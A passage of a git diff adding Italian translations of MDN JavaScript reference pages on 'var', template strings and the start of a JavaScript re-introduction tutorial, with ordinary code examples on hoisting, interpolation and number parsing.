+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_dei_browser">Compatibilità dei browser</h2>
+
+<div class="hidden">La tabella di compatibilità dei browser è generata da dati strutturati. Se ti piacerebbe contribuire ai dati, controlla <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e inviaci una pull request.</div>
+
+<p>{{Compat("javascript.statements.throw")}}</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/try...catch"><code>try...catch</code></a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/statements/var/index.html b/files/it/web/javascript/reference/statements/var/index.html
new file mode 100644
index 0000000000..41ee508d3c
--- /dev/null
+++ b/files/it/web/javascript/reference/statements/var/index.html
@@ -0,0 +1,221 @@
+---
+title: var
+slug: Web/JavaScript/Reference/Statements/var
+tags:
+  - Dichiarazioni
+  - Globali
+  - JavaScript
+  - Locali
+  - Valore
+  - Variabili
+  - funzione
+translation_of: Web/JavaScript/Reference/Statements/var
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>La dichiarazione <strong><code>variabile</code> </strong> dichiara una variabile, opzionalmente inizializzabile ad un valore.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-var.html")}}</div>
+
+
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">var <em>nomevariabile1 [</em>= <em>valore1] [</em>, <em>nomevariabile2 [</em>= <em>valore2] </em><em>... [</em>, <em>nomevariabileN [</em>= <em>valoreN]]]</em>;</pre>
+
+<dl>
+ <dt><code>nomevariabileN</code></dt>
+ <dd>Il nome della variabile. Può essere qualunque identificatore legale.</dd>
+</dl>
+
+<dl>
+ <dt><code>valoreN</code></dt>
+ <dd>Valore iniziale della variabile. Può essere qualunque espressione legale. Il valore di default è <em>undefined</em> (non definito).</dd>
+</dl>
+
+<h2 id="Descrizione"> Descrizione</h2>
+
+<p>Le dichiarazioni di variabile, ovunque appaiano, sono processate prima dell'esecuzione di qualsiasi codice. L'ambiente di una variabile dichiarata con <code>var</code> è il suo attuale <em>contesto di esecuzione</em>, che è la funzione di chiusura o, per le variabili dichiarate al di fuori di qualsiasi funzione, globale. Se si dichiara nuovamente una variabile JavaScript, il suo valore non sarà perso.</p>
+
+<p>Assegnando un valore a una variabile non dichirata la rende implicitamente globale (diventa una proprietà dell'oggetto) quando viene eseguita. Le differenze fra variabili dichiarate e non dichiarate sono:</p>
+
+<p>1. Le variabili dichiarate sono legate al contesto in cui sono dichiarate. Quelle non dichiarate sono sempre globali.</p>
+
+<pre class="brush: js">function x() {
+  y = 1;   // Genera un ReferenceError in strict mode
+  var z = 2;
+}
+
+x();
+
+console.log(y); // scrive "1" in console
+console.log(z); // Genera un ReferenceError: z non è definita fuori dalla funzione x
+</pre>
+
+<p>2. Variabili dichiarate sono create prima dell'esecuzione del codice. Variabili non dichiarate non esistono finchè il codice assegnato loro non viene eseguito.</p>
+
+<pre class="brush: js">console.log(a);                // Genera un ReferenceError.
+console.log('still going...'); // Non verrà eseguito.</pre>
+
+<pre class="brush: js">var a;
+console.log(a);                // scrive in console "undefined" o "" a seconda del browser usato.
+console.log('still going...'); // scrive in console "still going...".</pre>
+
+<p>3. Variabili dichiarate diventano una proprietà non configurabile del loro contesto di esecuzione (funzione o globale). Quelle non dichiarate sono configurabili (per esempio, possono essere cancellate).</p>
+
+<pre class="brush: js">var a = 1;
+b = 2;
+
+delete this.a; // Genera un TypeError in strict mode. Altrimenti fallisce senza generare messaggi.
+delete this.b;
+
+console.log(a, b); // Genera un ReferenceError.
+// La proprietà 'b' è stata cancellata e non esiste più.</pre>
+
+<p>A causa di queste tre differenze, il fallimento della dichiarazione di variabile porta molto probabilmente a risultati inaspettati. Pertanto <strong>è raccomandato di dichiarare sempre le variabili, indipendentemente dal loro contesto di appartenenza (funzione o globale).</strong> In ECMAScript 5 <a href="/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode">strict mode</a>, assegnare una variabile non dichiarata genera un errore.</p>
+
+<h3 id="Hoisting_di_var">Hoisting di var</h3>
+
+<p>Poichè le dichiarazioni di variabile (come le dichiarazioni in generale) sono processate prima dell'esecuzione del codice, dichiararne una in qualsiasi punto del codice è equivalente al dichiararle in cima. Questo significa anche che quella variabile può essere usata prima della dichiarazione. Questo comportamento è chiamato "hoisting" (sollevamento, innalzamento), poichè sembra che la dichiarazione di variabile sia portata in cima alla funzione o al codice globale.</p>
+
+<pre class="brush: js">bla = 2;
+var bla;
+// ...
+
+// è implicitamente interpretato come:
+
+var bla;
+bla = 2;
+</pre>
+
+<p>Per questa ragione, è consigliato sempre dichiarare le variabili in cima al loro ambiente (in cima al codice globale o della funzione in cui appaiono) al fine di rendere chiaro quali variabili appartengono alle funzioni (locali) e quali no.</p>
+
+<p>È importante precisare che l'hoisting è applicato alla dichiarazione della variabile, ma non all'inizializzazione del suo valore. Il valore verrà infatti assegnato al raggiungimento della dichiarazione :</p>
+
+<pre class="brush: js">function fai_qualcosa() {
+  console.log(bar); // non definito
+  var bar = 111;
+  console.log(bar); // 111
+}
+
+// è implicitamente interpretato come:
+function fai_qualcosa() {
+  var bar;
+  console.log(bar); // non definito
+  bar = 111;
+  console.log(bar); // 111
+}
+</pre>
+
+<p> </p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Dichiarare_e_inizializzare_due_variabili">Dichiarare e inizializzare due variabili</h3>
+
+<pre class="brush: js">var a = 0, b = 0;
+</pre>
+
+<h3 id="Assegnare_un_singolo_valore_stinga_a_due_variabili">Assegnare un singolo valore stinga a due variabili</h3>
+
+<pre class="brush: js">var a = 'A';
+var b = a;
+
+// è come dire:
+
+var a, b = a = 'A';
+</pre>
+
+<p>Prestare attenzione all'ordine:</p>
+
+<pre class="brush: js">var x = y, y = 'A';
+console.log(x + y); // non definito
+</pre>
+
+<p>Qui, <code>x</code> e <code>y</code> sono dichiarate prima dell'esecuzione del codice, gli assegnamenti verranno eseguiti in seguito. Nel momento in cui "<code>x = y</code>" viene valutato, <code>y</code> esiste quindi nessun <code>ReferenceError</code> viene generato e il suo valore risulta essere '<code>undefined</code>' (non definit). Quindi, <code>x</code> è assegnata ad un valore non definito. Ora, ad <code>y</code> è assegnato il valore 'A'. Di conseguenza, dopo la prima riga, <code>x === undefined &amp;&amp; y === 'A'</code>. Da qui il risultato.</p>
+
+<h3 id="Inizializzazione_di_più_variabili">Inizializzazione di più variabili</h3>
+
+<pre class="brush: js">var x = 0;
+
+function f() {
+  var x = y = 1; // x è dichiarata localmente. y invece no!
+}
+f();
+
+console.log(x, y); // Genera un ReferenceError in strict mode (y non è definita). 0, 1 altrimenti.
+// In modalità non-strict mode:
+// x è la globale come si ci aspettava
+// però, y è uscita fuori dalla funzione!</pre>
+
+<h3 id="Globali_implicite_e_ambienti_esterni_alle_funzioni">Globali implicite e ambienti esterni alle funzioni</h3>
+
+<p><span lang="it">Le variabili che sembrano essere globali implicite possono essere riferimenti a variabili nell'ambito di una funzione esterna:</span></p>
+
+<pre class="brush: js">var x = 0;  // x è dichiarata dentro l'ambiente file, poi le è assegnato valore 0
+
+console.log(typeof z); // undefined, poichè z ancora non esiste
+
+function a() { // quando a è chiamata,
+  var y = 2;   // y è dichiarata dentro l'ambiente della funzione a, e le è assegnato valore 2
+
+  console.log(x, y);   // 0 2
+
+  function b() {       // quando b è chiamata
+    x = 3;  // assegna 3 all'esistente ambiente x, non crea una nuova variabile globale
+    y = 4;  // assegna 4 all'esistente esterna y, non crea una nuova variabile globale
+    z = 5;  // crea una nuova variabile globale z e le assegna valore 5.
+  }         // (Throws a ReferenceError in strict mode.)
+
+  b();     // chiamare b crea z come variabile globale
+  console.log(x, y, z);  // 3 4 5
+}
+
+a();                   // chiamando a si richiama b
+console.log(x, z);     // 3 5
+console.log(typeof y); // non definito, perchè y è locale alla funzione a</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definizione iniziale, implementata in JavaScript 1.0</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.2', 'var statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-variable-statement', 'variable statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-variable-statement', 'variable statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_Browser">Compatibilità Browser</h2>
+
+
+
+<p>{{Compat("javascript.statements.var")}}</p>
+
+<h2 id="Guarda_anche">Guarda anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/let"><code>let</code></a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/const"><code>const</code></a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/template_strings/index.html b/files/it/web/javascript/reference/template_strings/index.html
new file mode 100644
index 0000000000..5bb4890ad8
--- /dev/null
+++ b/files/it/web/javascript/reference/template_strings/index.html
@@ -0,0 +1,210 @@
+---
+title: Stringhe template
+slug: Web/JavaScript/Reference/template_strings
+translation_of: Web/JavaScript/Reference/Template_literals
+---
+<div>{{JsSidebar("More")}}</div>
+
+<p>Le stringhe template sono stringhe letterali che consentono espressioni incorporate. Puoi usare stringhe multi-linea e caratteristiche di interpolazione stringa con esse.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">`stringa testo`
+
+`stringa testo linea 1
+ stringa testo linea 2`
+
+`stringa testo ${espressione} stringa testo`
+
+tag `stringa testo ${espressione} stringa testo`
+</pre>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Le stringhe template sono racchiuse dal carattere backtick (` `) (<a href="https://it.wikipedia.org/wiki/Accento_grave">accento grave</a>) invece delle singole o doppie virgolette. Le stringhe template possono contenere segnaposti. Questi sono indicati dal segno del Dollaro e parentesi graffe (<code>${espressione}</code>). Le espressioni nei segnaposti e nel testo compreso vengono passati ad una funzione. La funzione predefinita semplicemente concatena le parti in una stringa. Se c'è un'espressione che precede (<code>tag</code> qui), la stringa template è chiamata "stringa template taggata". In questo caso, l'espressione tag (di solito una funzione) viene chiamata con la stringa template processata, con cui puoi in seguito manipolare prima dell'output.</p>
+
+<h3 id="Stringhe_multilinea">Stringhe multilinea</h3>
+
+<p>Ogni carattere di nuova linea inseriti nel sorgente sono parte della stringa template. Usando stringhe normali, potresti usare la seguente sintassi per ottenere stringhe multilinea:</p>
+
+<pre class="brush: js">console.log("stringa testo linea 1\n"+
+"stringa testo linea 2");
+// "stringa testo linea 1
+// stringa testo linea 2"</pre>
+
+<p>Per avere lo stesso effetto con le stringhe multilinea, puoi adesso scrivere:</p>
+
+<pre class="brush: js">console.log(`stringa testo linea 1
+stringa testo linea 2`);
+// "stringa testo linea 1
+// stringa testo linea 2"</pre>
+
+<h3 id="Interpolazione_di_espressioni">Interpolazione di espressioni</h3>
+
+<p>Per incorporare espressioni dentro normale stringhe, potresti fare uso della seguente sintassi:</p>
+
+<pre class="brush: js">var a = 5;
+var b = 10;
+console.log("Quindici è " + (a + b) + " e\nnon " + (2 * a + b) + ".");
+// "Quindici è 15 e
+// non 20."</pre>
+
+<p>Adesso, con le stringhe template, puoi fare uso della sintassi ridotta facendo sostituzioni come questa più leggibile:</p>
+
+<pre class="brush: js">var a = 5;
+var b = 10;
+console.log(`Quindici è ${a + b} e\nnon ${2 * a + b}.`);
+// "Quindici è 15 e
+// non 20."</pre>
+
+<h3 id="Stringhe_template_taggate">Stringhe template taggate</h3>
+
+<p>Una forma più avanzata di stringhe template sono le stringhe template <em>taggate</em>. Con esse puoi modificare l'output delle stringhe template usando una funzione. Il primo argomento contiene un array di stringhe letterali ("Ciao" e " mondo" in questo esempio). Il secondo, ed ogni argomento dopo il primo, sono i valori delle espressioni di sostituzione ("15" e "50" qui) processate (o a volte detto <em>lavorate</em>). Alla fine, la tua funzione ritorna la stringa manipolata. Non c'è nulla di speciale sul nome tag nel seguente esempio. Il nome della funzione può essere qualsiasi cosa tu voglia.</p>
+
+<pre class="brush: js">var a = 5;
+var b = 10;
+
+function tag(strings, ...values) {
+  console.log(strings[0]); // "Ciao "
+  console.log(strings[1]); // " mondo "
+  console.log(values[0]);  // 15
+  console.log(values[1]);  // 50
+
+  return "Bazinga!";
+}
+
+tag`Ciao ${ a + b } mondo ${ a * b }`;
+// "Bazinga!"
+</pre>
+
+<p>Le funzioni Tag non devono per forza ritornare una stringa, come mostrato nel seguente esempio.</p>
+
+<pre class="brush: js">function template(strings, ...keys) {
+  return (function(...values) {
+    var dict = values[values.length - 1] || {};
+    var result = [strings[0]];
+    keys.forEach(function(key, i) {
+      var value = Number.isInteger(key) ? values[key] : dict[key];
+      result.push(value, strings[i + 1]);
+    });
+    return result.join('');
+  });
+}
+
+template`${0}${1}${0}!`('Y', 'A');  // "YAY!"
+template`${0} ${'foo'}!`('Ciao', {foo: 'Mondo'});  // "Ciao Mondo!"
+</pre>
+
+<h3 id="Stringhe_grezze">Stringhe grezze</h3>
+
+<p>La proprietà speciale <code>raw</code>, disponibile sull'argomento della prima funzione delle stringhe template taggate, ti consente di accedere alle stringhe grezze per come sono state inserite.</p>
+
+<pre class="brush: js">function tag(strings, ...values) {
+  console.log(strings.raw[0]);
+  // "stringa testo linea 1 \\n stringa testo linea 2"
+}
+
+tag`stringa testo linea 1 \n stringa testo linea 2`;
+</pre>
+
+<p>In aggiunta, il metodo {{jsxref("String.raw()")}} esiste per creare stringhe grezze proprio come la funzione template predefinita e contatenazione di stringhe potrebbero creare.</p>
+
+<pre class="brush: js">String.raw`Salve\n${2+3}!`;
+// "Salve\n5!"</pre>
+
+<h2 id="Sicurezza">Sicurezza</h2>
+
+<p>Le stringhe template <strong>NON DEVONO</strong> essere costruite da utenti non fidati, poichè hanno accesso a variabili e funzioni.</p>
+
+<pre class="brush: js">`${console.warn("this is",this)}`; // "this is" Window
+
+let a = 10;
+console.warn(`${a+=20}`); // "30"
+console.warn(a); // 30
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-template-literals', 'Template Literals')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definizione iniziale. Definita in molte sezioni della specifica: <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-template-literals">Template Literals</a>, <a href="http://www.ecma-international.org/ecma-262/6.0/#sec-tagged-templates">Tagged Templates</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-template-literals', 'Template Literals')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Definita in molte sezioni della specifica: <a href="https://tc39.github.io/ecma262/#sec-template-literals">Template Literals</a>, <a href="https://tc39.github.io/ecma262/#sec-tagged-templates">Tagged Templates</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_browser">Compatibilità browser</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caratteristica</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto base</td>
+   <td>{{CompatChrome(41)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("34")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(28)}}</td>
+   <td>{{CompatSafari(9)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caratteristica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Supporto base</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(41)}}</td>
+   <td>{{CompatGeckoMobile("34")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(28)}}</td>
+   <td>{{CompatSafari(9)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("String")}}</li>
+ <li>{{jsxref("String.raw()")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar">Grammatica lessica</a></li>
+ <li><a href="https://gist.github.com/WebReflection/8f227532143e63649804">Stringhe di tipo template in sintassi compatibile con ES3</a></li>
+ <li><a href="https://hacks.mozilla.org/2015/05/es6-in-depth-template-strings-2/">"ES6 in profondità: Stringhe template" su hacks.mozilla.org</a></li>
+</ul>
diff --git a/files/it/web/javascript/una_reintroduzione_al_javascript/index.html b/files/it/web/javascript/una_reintroduzione_al_javascript/index.html
new file mode 100644
index 0000000000..4dc4a484a7
--- /dev/null
+++ b/files/it/web/javascript/una_reintroduzione_al_javascript/index.html
@@ -0,0 +1,966 @@
+---
+title: Una reintroduzione al Java Script (Tutorial JS)
+slug: Web/JavaScript/Una_reintroduzione_al_JavaScript
+translation_of: Web/JavaScript/A_re-introduction_to_JavaScript
+---
+<h2 id="Introduzione">Introduzione</h2>
+
+<p>Perchè una reintroduzione? Perchè  <a href="/en-US/docs/JavaScript" title="JavaScript">JavaScript</a> ha la ragionevole pretesa di essere <a class="external" href="http://javascript.crockford.com/javascript.html">il linguaggio di programmazione più frainteso del mondo</a>. Benchè spesso considerato ironicamente come un giocattolo, la sua ingannevole semplicità nasconde alcune potenti caratteristiche. JavaScript viene attualmente utilizzato da un numero incredibile di applicazioni di alto profilo, che mostrano come la conoscenza profonda di questa tecnologia sia un importante abilità per qualunque sviluppatore web.</p>
+
+<p>È utile iniziare con un accenno alla storia del linguaggio. JavaScript fu creato nel 1995 da Brendan Eich, mentre lavorava come ingegnere presso Netscape, e rilasciata per la prima volta con Netscape 2 all'inizio del 1996. Originariamente doveva essere chiamato LiveScript, ma fu poi rinominato in Javacript per una fatalmente dannosa decisione di marketing che tentava di approfittare della popolarità del linguaggio Java della Sun Microsystem — nonostante abbiano molto poco in comune. <span class="short_text" id="result_box" lang="it"><span class="hps">Questa è stata una</span> <span class="hps">fonte di confusione</span> <span class="hps">da allora.</span></span></p>
+
+<p>Diversi mesi dopo, Microsoft rilasciò JScript con Internet Explorer 3, un linguaggio che lavorava in modo simile a JavaScript ed era quasi del tutto compatibile con esso. Netscape sottomise il linguaggio alla <a class="external" href="http://www.ecma-international.org/">Ecma International</a>, un'organizzazione europea di standardizzazione, che porta alla nascita della prima edizione degli standard <a href="/en-US/docs/JavaScript/Language_Resources" title="ECMAScript">ECMAScript</a>. Lo standard ricevette un significativo aggiornamento come <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMAScript edition 3</a> nel 1999, ed è rimasto più o meno stabile da allora. La quarta edizione fu abbandonata a causa delle differenze di vedute sulla complessità del linguaggio. Molte parti della quarta edizione formano la base del nuovo ECMAScript edizione 5, pubblicato nel dicembre del 2009, e per la sesta edizione pubblicata a giugno 2015.</p>
+
+<p>Diversamente dalla maggior parte dei linguaggi di programmazione, il linguaggio JavaScript non ha il concetto di input e output. È stato concepito per essere eseguito come linguaggio di scripting in un ambiente ospite, ed è responsabilità dell'ambiente ospite fornire meccanismi per comunicare con il mondo esterno. L'ambiente ospite più comune è il browser, ma interpreti JavaScript possono essere trovati anche in Adobe Acrobat, Photoshop, motore Widget di Yahoo! , e addirittura in ambienti lato server o in desktop environment come GNOME (una delle GUI più popolari per i sistemi GNU/Linux) e altri ancora.</p>
+
+<h2 id="Panoramica">Panoramica</h2>
+
+<p>JavaScript è un linguaggio dinamico orientato agli oggetti; esso ha tipi e operatori, oggetti nucleo, e metodi. La sua sintassi deriva dai linguaggi Java e C, quindi molte strutture utilizzate da questi linguaggi ricorrono anche in JavaScript. Una delle differenze chiave è che JavaScript non ha classi; invece, la funzionalità di classe è realizzata dai prototipi oggetto. L'altra differenza principale è che le funzioni sono oggetti, dando alle funzioni la capacità di mantenere codice eseguibile ed essere passate in giro come ogni altro oggetto.</p>
+
+<p><span id="result_box" lang="it"><span class="hps">Cominciamo</span> <span class="hps">guardando il</span> <span class="hps">blocco di costruzione</span> <span class="hps">di qualsiasi linguaggio</span></span>: i tipi. I programmmi JavaScript manipolano valori, e tutti quei valori appartengono ad un tipo. I tipi JavaScript sono:</p>
+
+<ul>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Number" title="JavaScript/Reference/Global_Objects/Number">Numeri</a></li>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String" title="JavaScript/Reference/Global_Objects/String">Stringhe</a></li>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Boolean" title="JavaScript/Reference/Global_Objects/Boolean">Booleani</a></li>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function" title="JavaScript/Reference/Global_Objects/Function">Funzioni</a></li>
+ <li><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object" title="JavaScript/Reference/Global_Objects/Object">Oggetti</a></li>
+</ul>
+
+<p>... oh, e Undefined (indefiniti) e Null (nulli), che sono leggermente strani. E gli <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Array" title="JavaScript/Reference/Global_Objects/Array">Array</a>, che sono un tipo speciale di oggetto. E <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Date" title="JavaScript/Reference/Global_Objects/Date">Date</a> ed <a href="/en-US/docs/JavaScript/Reference/Global_Objects/RegExp" title="JavaScript/Reference/Global_Objects/RegExp">Espressioni regolari</a>, che sono oggetti che si ottengono gratuitamente. E per essere tecnicamente precisi, le funzioni sono solo un tipo speciale di oggetto. Quindi il diagramma dei tipi somiglia più a questo:</p>
+
+<ul>
+ <li>Numeri</li>
+ <li>Stringhe</li>
+ <li>Booleani</li>
+ <li>Oggetti
+  <ul>
+   <li>Funzioni</li>
+   <li>Array</li>
+   <li>Date</li>
+   <li>ExpReg</li>
+  </ul>
+ </li>
+ <li>Null</li>
+ <li>Undefined</li>
+</ul>
+
+<p>E ci sono anche alcuni tipi nativi di <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Error" title="JavaScript/Reference/Global_Objects/Error">Errori</a>. Comunque, le cose sono molto più semplici se ci atteniamo al primo diagramma</p>
+
+<h2 id="Numeri">Numeri</h2>
+
+<p>I numeri in JavaScript sono in formato 64-bit a doppia precisione valore del IEEE 754, secondo le specifiche. Questo ha qualche interessante conseguenza. <span id="result_box" lang="it"><span class="hps">Non esiste una cosa</span> <span class="hps">come</span> <span class="hps">un intero</span> <span class="hps">in JavaScript,</span> <span class="hps">quindi bisogna</span> stare<span class="atn hps"> un pò </span><span>attenti con</span> <span class="hps">la vostra aritmetica</span><span>, se</span> <span class="hps">siete abituati alla</span> <span class="hps">matematica</span> <span class="hps">in C</span> <span class="hps">o Java</span></span>. Stare attenti a cose come:</p>
+
+<pre class="eval notranslate">0.1 + 0.2 == 0.30000000000000004
+</pre>
+
+<p>In pratica, i valori interi sono trattati come int a 32-bit (e sono memorizzati in questo modo in alcune implementazioni dei browser), che può essere importante per operazioni in bit. Per dettagli, consulta <a class="external" href="http://www.hunlock.com/blogs/The_Complete_Javascript_Number_Reference" title="http://www.hunlock.com/blogs/The_Complete_Javascript_Number_Reference">La Guida Completa sui Numeri JavaScript</a>.</p>
+
+<p>Gli <a href="/en-US/docs/JavaScript/Reference/Operators/Arithmetic_Operators" title="JavaScript/Reference/Operators/Arithmetic_Operators">operatori numerici</a> standard sono supportati, incluso addizione, sottrazione, modulo (o resto) aritmetico e così via. Vi sono anche oggetti nativi che non sono stati menzionati prima, chiamati <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Math" title="JavaScript/Reference/Global_Objects/Math">Math</a> per trattare funzioni matematiche più avanzate e costanti:</p>
+
+<pre class="brush: js notranslate">Math.sin(3.5);
+var d = Math.PI * r * r;
+</pre>
+
+<p>E' possibile convertire una stringa in un intero utilizzando la funzione nativa <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/parseInt" title="JavaScript/Reference/Global_Functions/parseInt">parseInt()</a></code>. Questo prende la base per la conversione come secondo argomento opzionale, che si dovrebbe fornire sempre:</p>
+
+<pre class="brush: js notranslate">&gt; parseInt("123", 10)
+123
+&gt; parseInt("010", 10)
+10
+</pre>
+
+<p>Se non si fornisce la base, si possono ricevere risultati inattesi:</p>
+
+<pre class="brush: js notranslate">&gt; parseInt("010")
+8
+</pre>
+
+<p>Questo succede perchè la funzione <code>parseInt</code> ha deciso di trattare la stringa come un ottale a causa del primo 0.</p>
+
+<p>Se si vuole convertire un numero binario in un intero, basta cambiare la base:</p>
+
+<pre class="brush: js notranslate">&gt; parseInt("11", 2)
+3
+</pre>
+
+<p>Similmente, è possibile analizzare numeri in virgola mobile usando la funzione nativa <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/parseFloat" title="JavaScript/Reference/Global Objects/parseFloat">parseFloat()</a></code> che utilizza sempre la base 10 diversamente dalla cugina <a href="/en-US/docs/JavaScript/Reference/Global_Objects/parseInt" title="JavaScript/Reference/Global Objects/parseInt"><code>parseInt()</code></a>.</p>
+
+<p>E' inoltre possibile utilizzare l'operatore unario <code>+</code> per convertire valori in numeri:</p>
+
+<pre class="notranslate">&gt; + "42"
+42
+</pre>
+
+<p>Un valore speciale chiamato <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/NaN" title="JavaScript/Reference/Global_Properties/NaN">NaN</a></code> (abbreviazione per "Not a Number" - Non un Numero) viene restituita se la stringa non è numerica:</p>
+
+<pre class="brush: js notranslate">&gt; parseInt("hello", 10)
+NaN
+</pre>
+
+<p>Il <code>NaN</code> è tossico: se viene fornito come input a qualsiasi operazione matematica, il risultato sarà anch'esso <code>NaN</code>:</p>
+
+<pre class="brush: js notranslate">&gt; NaN + 5
+NaN
+</pre>
+
+<p>E' possibile verificare se <code>NaN</code> usando la funzione nativa <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/isNaN" title="JavaScript/Reference/Global_Functions/isNaN">isNaN()</a></code>:</p>
+
+<pre class="brush: js notranslate">&gt; isNaN(NaN)
+true
+</pre>
+
+<p>Anche JavaScript ha i valori speciali <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Infinity" title="JavaScript/Reference/Global_Properties/Infinity">Infinity</a></code> e  <code>-Infinity</code>:</p>
+
+<pre class="brush: js notranslate">&gt; 1 / 0
+Infinity
+&gt; -1 / 0
+-Infinity
+</pre>
+
+<p>E' possibile analizzare i valori <code>Infinity</code>, <code>-Infinity</code> e <code>NaN</code> usando la funzione nativa <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/isFinite" title="JavaScript/Reference/Global_Functions/isFinite">isFinite()</a></code>:</p>
+
+<pre class="brush: js notranslate">&gt; isFinite(1/0)
+false
+&gt; isFinite(-Infinity)
+false
+&gt; isFinite(NaN)
+false
+</pre>
+
+<div class="note"><strong>Nota:</strong> Le funzioni <a href="/en-US/docs/JavaScript/Reference/Global_Objects/parseInt" title="JavaScript/Reference/Global Objects/parseInt"><code>parseInt()</code></a> e <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/parseFloat" title="JavaScript/Reference/Global Objects/parseFloat">parseFloat()</a></code> analizzano una stringa finchè raggiungono un carattere che è non è valido per il formato numerico specificato, quindi restituiscono il numero analizzato fino a quel punto. Tuttavia l'operatore "+" converte semplicemente la stringa a <code>NaN</code> se è presente in essa qualche carattere invalido. E' sufficiente provare ad eseguire l'analisi della stringa "10.2abc" con ogni metodo da soli utilizzando la console e sarà possibile capire meglio le differenze.</div>
+
+<h2 id="Stringhe">Stringhe</h2>
+
+<p>Le stringhe in JavaScript sono sequenze di caratteri. Più precisamente, sono sequenze di <a href="/en-US/docs/JavaScript/Guide/Obsolete_Pages/Unicode" title="JavaScript/Guide/Unicode">Caratteri Unicode</a>, con ogni carattere rappresentato da un numero a 16-bit. <span id="result_box" lang="it"><span class="alt-edited hps">Questa dovrebbe essere</span> <span class="alt-edited hps">una buona notizia per</span> <span class="hps">tutti coloro che hanno</span> <span class="hps">avuto a che fare</span> <span class="hps">con l'internazionalizzazione</span><span>.</span></span></p>
+
+<p>Se si vuole rappresentare un singolo carattere, occorre semplicemente utilizzare una stringa di lunghezza 1.</p>
+
+<p>Per trovare la lunghezza di una stringa, accedere la sua proprietà <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/length" title="JavaScript/Reference/Global_Objects/String/length">length</a></code>:</p>
+
+<pre class="brush: js notranslate">&gt; "hello".length
+5
+</pre>
+
+<p>Ecco il nostro primo assaggio degli oggetti JavaScript! E' stato menzionato che le stringhe sono anch'esse oggetti? Ed hanno anche <a href="/en-US/docs/JavaScript/Reference/Global_Objects/String#Methods" title="JavaScript/Reference/Global_Objects/String#Methods">metodi</a>:</p>
+
+<pre class="brush: js notranslate">&gt; "hello".charAt(0)
